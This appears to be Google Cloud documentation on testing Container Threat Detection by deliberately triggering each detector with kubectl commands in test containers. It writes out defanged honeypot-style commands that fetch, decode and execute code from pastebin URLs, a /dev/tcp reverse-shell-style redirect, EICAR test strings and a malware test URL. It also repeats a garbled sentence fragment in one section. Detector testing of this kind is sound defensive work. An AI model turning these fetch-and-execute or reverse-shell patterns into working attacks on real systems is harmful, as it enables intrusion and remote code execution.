This page explains how to verify that Container Threat Detection is working by intentionally triggering detectors and checking for findings. Container Threat Detection is a built-in service of the Premium and Enterprise tiers of Security Command Center. To view Container Threat Detection findings, it must be enabled in Security Command Center Services settings.
Before you begin
To detect potential threats to your containers, you need to make sure that your clusters are on a supported version of Google Kubernetes Engine (GKE). For more information, see using a supported GKE version.
Set environment variables
To test detectors, you use the Google Cloud console and Cloud Shell. You can set environment variables in Cloud Shell to make it easier to run commands. The following variables are used to test all Container Threat Detection detectors.
Go to the Google Cloud console.
Select the project that contains the container you want to use to test.
Click Activate Cloud Shell.
In Cloud Shell, set environment variables.
The zone your cluster is in:
export ZONE=CLUSTER_ZONE
The project your container is in:
export PROJECT=PROJECT_ID
Your cluster name:
export CLUSTER_NAME=CLUSTER_NAME
The variables are set. The following sections include instructions for testing Container Threat Detection detectors.
Added Binary Executed
To trigger an Added Binary Executed finding, drop a binary in your container and
execute it. This example deploys the latest Ubuntu 18.04 image, copies /bin/ls
to another location, and then executes it. The binary's execution is unexpected
because the copy of the binary wasn't part of the original container image, even
when that image is on Ubuntu 18.04, and containers are meant to be immutable.
Use Cloud Shell to access the cluster control plane:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Drop a binary and execute it:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
This test procedure should create an Added Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.
For noise reduction, when you first create a container, Container Threat Detection
temporarily filters Added Binary Executed findings. To see all Added Binary
Executed findings while a container is being set up, prefix your container name
or pod name with ktd-test
, as in the example.
Added Library Loaded
To trigger an Added Library Loaded finding, drop a library in your container and
then load it. This example deploys the latest Ubuntu 18.04 image, copies
/lib/x86_64-linux-gnu/libc.so.6
to another location, and then loads it using
ld
. The loaded library is unexpected because the copy of the library was not
part of the original container image, even if that image is on Ubuntu 18.04, and
containers are meant to be immutable.
Use Cloud Shell to access the cluster control plan:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Drop a library and use
ld
to load it:tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
This test procedure should create an Added Library Loaded finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.
For noise reduction, when you first create a container, Container Threat Detection
temporarily filters Added Library Loaded findings. To see all Added Library
Loaded findings while a container is being set up, prefix your container name
or pod name with ktd-test
, as in the example.
Execution: Added Malicious Binary Executed
To trigger an Execution: Added Malicious Binary Executed finding, drop a malicious binary in your container and execute it. This example deploys the latest Ubuntu 18.04 image, creates a simulated malicious file, and then executes it. The binary's execution is unexpected because the simulated malicious binary wasn't part of the original container image, and the binary is an EICAR test file, a file classified as malicious by the threat intelligence.
Use Cloud Shell to access the cluster control plane:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Drop the EICAR binary and execute it:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
This test procedure should create an Execution: Added Malicious Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.
For noise reduction, when you first create a container, Container Threat Detection
temporarily filters Execution: Added Malicious Binary Executed findings. To see
all Execution: Added Malicious Binary Executed findings while a container is
being set up, prefix your container name or pod name with ktd-test
, as in the
example.
Execution: Malicious Python executed
To trigger an Execution: Malicious Python executed
finding, you can execute Python
in the following procedure in your container.
The procedure deploys the latest Python image, copies Python code that appears malicious, and then executes it. To trigger a detection, the Python code must appear malicious to the detector.
Use Cloud Shell to access the cluster control plan:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute the following script in a new container.
This Python code originated from a honeypot. However, it was modified so that it does not execute the malicious binary. Running the script won't cause malicious activity in your container. The binary at the referenced URL does not exist and attempting to follow the URL results in a 404 error. This is expected. The attempt to download, decode, and execute a binary using an inline script is what triggers the detection.
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/python:latest "$tag" \ -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
This test procedure creates an Execution: Malicious Python executed
finding that you
can view in Security Command Center and in Cloud Logging if you configured
logging for Container Threat Detection. Viewing findings in Cloud Logging is
only available if you activate the Premium or Enterprise
tier of Security Command Center.
Execution: Modified Malicious Binary Executed
To trigger an Execution: Modified Malicious Binary Executed finding, modify a
malicious binary in your container and execute it. This example deploys the
latest Ubuntu 18.04 image, modifies /bin/ls
to a simulated malicious file, and then executes it.
The binary's execution is unexpected because the /bin/ls
is modified during container runtime as
a simulated malicious binary, and the binary is an EICAR
test file, a file classified as malicious by the threat intelligence.
an EICAR
testing malicious file, and then executes it. The binary's execution is
unexpected because the created /bin/ls
is modified during container runtime as
an EICAR testing malicious binary, and the EICAR binary is a known malicious file
according to the threat intelligence.
Use Cloud Shell to access the cluster control plane:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Drop the EICAR binary and execute it:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
This test procedure should create an Execution: Modified Malicious Binary Executed finding that you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.
For noise reduction, when you first create a container, Container Threat Detection
temporarily filters Execution: Modified Malicious Binary Executed findings. To see
all Execution: Modified Malicious Binary Executed findings while a container is
being set up, prefix your container name or pod name with ktd-test
, as in the
example.
Malicious Script Executed
To trigger a Malicious Script Executed finding, you can execute the script in the following procedure in your container.
The procedure deploys the latest Ubuntu 18.04 image, copies a script that appears malicious, and then executes it. To trigger a detection, a script must appear malicious to the detector.
Use Cloud Shell to access the cluster control plan:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute the following script in a new container.
This inline Bash shell script originated from a honeypot. However, it has been modified so that it does not execute the malicious binary, so running the script won't cause malicious activity in your container. The binary at the referenced URL may have been removed and attempting to follow the URL will result in a 404 error. This is expected. The attempt to download, decode, and execute a binary using an inline script is what triggers the detection.
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
This test procedure creates a Malicious Script Executed finding that you can view in Security Command Center and in Cloud Logging if you've configured logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center.
Malicious URL Observed
To trigger a Malicious URL Observed finding, execute a binary and provide a malicious URL as an argument.
The following example deploys an Ubuntu 18.04
image and executes /bin/curl
to access a sample malware URL from the
Safe Browsing service.
Use Cloud Shell to access the cluster control plan:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute
curl
and provide a malicious URL as an argument:tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
This test procedure triggers a Malicious URL Observed finding that you can view in Security Command Center and, if you have configured Logging for Container Threat Detection, in Cloud Logging. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.
Reverse Shell
To trigger a Reverse Shell finding, start a binary with stdin
redirection to a
TCP connected socket. This example copies /bin/echo
to /tmp/bash
,
then starts /tmp/bash
with redirection to the Google public DNS
8.8.8.8
on the DNS port. Nothing is printed when you run this example. To
prevent any external code injection through a man-in-the-middle (MITM) attack,
this example doesn't use the /bin/bash
binary.
Use Cloud Shell to access the cluster control plan:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Start a binary with
/bin/echo
redirection to the Google public DNS:tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/echo /tmp/bash; /tmp/bash >& /dev/tcp/8.8.8.8/53 0>&1"
This test procedure creates a Reverse Shell finding you can view in Security Command Center, and in Cloud Logging if you've configured Logging for Container Threat Detection. Viewing findings in Cloud Logging is only available if you activate the Premium or Enterprise tier of Security Command Center at the organization level.
Unexpected Child Shell
To test the Unexpected Child Shell
detector, you can create a process tree that includes a child shell process.
The following example creates an consul->dash
process tree, which can be detected by the Unexpected Child Shell
detector. This test is safe because it uses only built-in binaries. This example does the following:
- Creates a copy of the
bash
process and names itconsul
. - Copies the
echo
process and names itdash
. - Invokes the copied
dash
process in the copiedconsul
process.
To trigger an Unexpected Child Shell
finding, do the following:
Use Cloud Shell to access the cluster control plane:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Use the mock
consul
process to invoke a mock shell:tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \ /tmp/consul -c "/tmp/bash child ran successfully & wait"'
This test procedure creates an Unexpected Child Shell
finding that you can
view in Security Command Center. If Logging is configured for Container Threat Detection and you have Security Command Center Premium or Enterprise activated at the organization level, then you can view the
finding in Cloud Logging too.
What's next
- Learn how to use Container Threat Detection.